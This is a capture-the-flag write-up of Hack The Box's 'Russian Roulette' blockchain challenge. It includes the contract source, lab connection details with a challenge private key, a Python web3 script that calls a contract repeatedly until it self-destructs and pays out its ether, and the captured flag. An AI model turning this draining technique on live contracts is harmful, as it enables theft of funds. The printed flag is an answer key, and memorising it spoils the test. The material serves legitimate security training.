forbytten blogs

Russian Roulette Writeup - Cyber Apocalypse 2024

Last update:

1 Introduction

This writeup covers the Russian Roulette Blockchain challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having a ‘very easy’ difficulty. The challenge involved the basics of interacting with an Ethereum smart contract.

The description of the challenge is shown below.

Russian Roulette description

2 Key techniques

The key techniques employed in this writeup are:

3 Artifacts Summary

The downloaded artifact had the following hash:

$ shasum -a256 blockchain_russian_roulette.zip
0a44e39b3b85e123d66e9d1dda0c47bcf7d9c01fdbf16e070ecf660fc569ed4a  blockchain_russian_roulette.zip

The zip file contained two Solidity source code files:

$ unzip blockchain_russian_roulette.zip
Archive:  blockchain_russian_roulette.zip
   creating: blockchain_russian_roulette/
  inflating: blockchain_russian_roulette/RussianRoulette.sol
  inflating: blockchain_russian_roulette/Setup.sol

$ shasum -a256 blockchain_russian_roulette/*
2853053b96828fbdcc5866806196c8ae259575abfe701091491a95da742371c9  blockchain_russian_roulette/RussianRoulette.sol
8aac64705576db4eb2538f6df554a5d8f41060fc08b4f0fee91706734e7616c9  blockchain_russian_roulette/Setup.sol

4 Reviewing the smart contract source code

4.1 Setup

The Setup smart contract does the following:

pragma solidity 0.8.23;

import {RussianRoulette} from "./RussianRoulette.sol";

contract Setup {
    RussianRoulette public immutable TARGET;

    constructor() payable {
        TARGET = new RussianRoulette{value: 10 ether}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

4.2 RussianRoulette.sol

The RussianRoulette smart contract does the following:

pragma solidity 0.8.23;

contract RussianRoulette {

    constructor() payable {
        // i need more bullets
    }

    function pullTrigger() public returns (string memory) {
        if (uint256(blockhash(block.number - 1)) % 10 == 7) {
            selfdestruct(payable(msg.sender)); // 💀
        } else {
        return "im SAFU ... for now";
        }
    }
}

5 Obtaining connection information

Spawning docker for this challenge resulted in two ports on a single IP address:

Connecting to the first one provided an option to retrieve connection information:

$ nc -n -v 94.237.62.99 58261
(UNKNOWN) [94.237.62.99] 58261 (?) open
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1

Private key     :  0xee01a2e62d9a11fb7a3433126ef802b169cb0d955053aaf0aa0818672b4bd945
Address         :  0x7dcd075528c6c9A13D0bCf37D4035364287c7b1B
Target contract :  0x358e4ABbbc68adb209D66fd7df8D1e1787a46BC3
Setup contract  :  0x2bb5BEF9e3D98Bd7d37F28FB2796Ca7838F64127

6 Challenge objective

Based on the source code, the objective of the challenge is to invoke the RussianRoulette smart contract’s pullTrigger function repeatedly until the condition is triggered that self destructs the contract. At this point, the ether balance of the RussianRoulette address will be 0, causing the Setup contract’s isSolved function to return true. Thus, the main lesson of this challenge is to learn how to invoke smart contracts.

7 Generating the ABI (Application Binary Interface)

In order to invoke a smart contract, you need the ABI (Application Binary Interface) for it. This was generated using Remix IDE but an alternative would be to do it programmatically.

  1. The code was compiled:

    Compiling Russian Roulette smart contract in Remixed, specifying the solidity compiler version to match the pragma
  2. The compilation result was downloaded:

    Downloading the compilation result
  3. The ABI was extracted from the downloaded JSON:

    $ cat RussianRoulette_compData.json |jq '.abi'
    [
      {
        "inputs": [],
        "stateMutability": "payable",
        "type": "constructor"
      },
      {
        "inputs": [],
        "name": "pullTrigger",
        "outputs": [
          {
            "internalType": "string",
            "name": "",
            "type": "string"
          }
        ],
        "stateMutability": "nonpayable",
        "type": "function"
      }
    ]

8 Writing Python code to invoke the smart contracts

The web3 package can be used to interact with Ethereum. A virtual environment was created and the package installed:

$ python3 -mvenv venv
$ . ./venv/bin/activate
$ pip install web3

config.py was created to contain all the connection information. Also, line 3 converts the private key hex to a bytes object, which will be needed by web3:

my_account_private_key_hex = 'ee01a2e62d9a11fb7a3433126ef802b169cb0d955053aaf0aa0818672b4bd945'
my_account_address = '0x7dcd075528c6c9A13D0bCf37D4035364287c7b1B'
my_account_private_key = bytes.fromhex(my_account_private_key_hex)

russian_roulette_contract_address = '0x358e4ABbbc68adb209D66fd7df8D1e1787a46BC3'
setup_contract_address = '0x2bb5BEF9e3D98Bd7d37F28FB2796Ca7838F64127'

provider_host = '94.237.62.99'
provider_port = 49769

transact.py invokes the pullTrigger() function, then the isSolved function. Also, lines 16 and 37 contain the contract ABIs generated by Remix IDE.

 #!/usr/bin/python3

 from web3 import Web3, EthereumTesterProvider

 # Config: My account details, contract addresses, http provider host and port
 from config import *

 # --------------------------------------------------------------------------------
 # Construct web3 http provider.

 w3 = Web3(Web3.HTTPProvider(f"http://{provider_host}:{provider_port}"))

 # --------------------------------------------------------------------------------
 # Contract ABIs

 russian_roulette_abi = """[
        {
            "inputs": [],
            "stateMutability": "payable",
            "type": "constructor"
        },
        {
            "inputs": [],
            "name": "pullTrigger",
            "outputs": [
                {
                    "internalType": "string",
                    "name": "",
                    "type": "string"
                }
            ],
            "stateMutability": "nonpayable",
            "type": "function"
        }
    ]"""

 setup_abi = """[
        {
            "inputs": [],
            "stateMutability": "payable",
            "type": "constructor"
        },
        {
            "inputs": [],
            "name": "TARGET",
            "outputs": [
                {
                    "internalType": "contract RussianRoulette",
                    "name": "",
                    "type": "address"
                }
            ],
            "stateMutability": "view",
            "type": "function"
        },
        {
            "inputs": [],
            "name": "isSolved",
            "outputs": [
                {
                    "internalType": "bool",
                    "name": "",
                    "type": "bool"
                }
            ],
            "stateMutability": "view",
            "type": "function"
        }
    ]"""

 # --------------------------------------------------------------------------------
 # Get contracts

 russian_roulette_contract = w3.eth.contract(address=russian_roulette_contract_address, abi=russian_roulette_abi)
 setup_contract = w3.eth.contract(address=setup_contract_address, abi=setup_abi)

 # --------------------------------------------------------------------------------

 def pull_trigger():
     # Get the nonce associated with our account that is required for invoking contracts.
     nonce = w3.eth.get_transaction_count(my_account_address)

     # Build a transaction that invokes the pullTrigger function
     russian_roulette_transaction = russian_roulette_contract.functions.pullTrigger().build_transaction({
         'from': my_account_address,
         'nonce': nonce,
         'gas': 70000,
         'maxFeePerGas': w3.to_wei('2', 'gwei'),
         'maxPriorityFeePerGas': w3.to_wei('1', 'gwei'),
     })

     # Sign the contract with our account's private key
     signed_txn = w3.eth.account.sign_transaction(russian_roulette_transaction, private_key=my_account_private_key)

     transaction_hash: bytes = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
     print(f"pullTrigger transaction hash: {transaction_hash.hex()}")
     transaction = w3.eth.get_transaction(transaction_hash)
     print(f"transaction: {transaction}")


 def is_solved():
     # isSolved is a view function so you don't need to build a transaction (at least, I think
     # that's why
     solved: bool = setup_contract.functions.isSolved().call()
     print(f"solved: {solved}")


 pull_trigger()
 is_solved()

9 Pulling the trigger

The script was repeatedly run until solved was output as True. Alternatively, the script could have been implemented to contain a loop.

$ python3 transact.py
pullTrigger transaction hash: 0x2544c6c72f83a3dea8076575994d1c5ffe511f7ad1965252effe6f3a8719d7ee
transaction: AttributeDict({'hash': HexBytes('0x2544c6c72f83a3dea8076575994d1c5ffe511f7ad1965252effe6f3a8719d7ee'),
'nonce': 6, 'blockHash': HexBytes('0xbf2b5e01c8065b790aaea21130f55eafde1dc5b75d02f50305a6d104d9ec6c44'), 'blockNumbe
r': 8, 'transactionIndex': 0, 'from': '0x7dcd075528c6c9A13D0bCf37D4035364287c7b1B', 'to': '0x358e4ABbbc68adb209D66fd
7df8D1e1787a46BC3', 'value': 0, 'gasPrice': 1000000000, 'gas': 70000, 'maxFeePerGas': 2000000000, 'maxPriorityFeePer
Gas': 1000000000, 'input': HexBytes('0x61a30da6'), 'r': HexBytes('0xdc8dd4f9059d702201e4bed8e64e41040d7732358b87c444
73de4ee2e4384388'), 's': HexBytes('0x10ee706b1dbc7a853b727a039819dedcdbffbf83070bc3479167aa36584158d7'), 'v': 1, 'yP
arity': 1, 'chainId': 31337, 'accessList': [], 'type': 2})
solved: True

10 Obtaining the flag

The flag was obtained by connecting to the management endpoint and selecting the “Get flag” option:

$ nc -n -v 94.237.62.99 58261
(UNKNOWN) [94.237.62.99] 58261 (?) open
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}

11 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned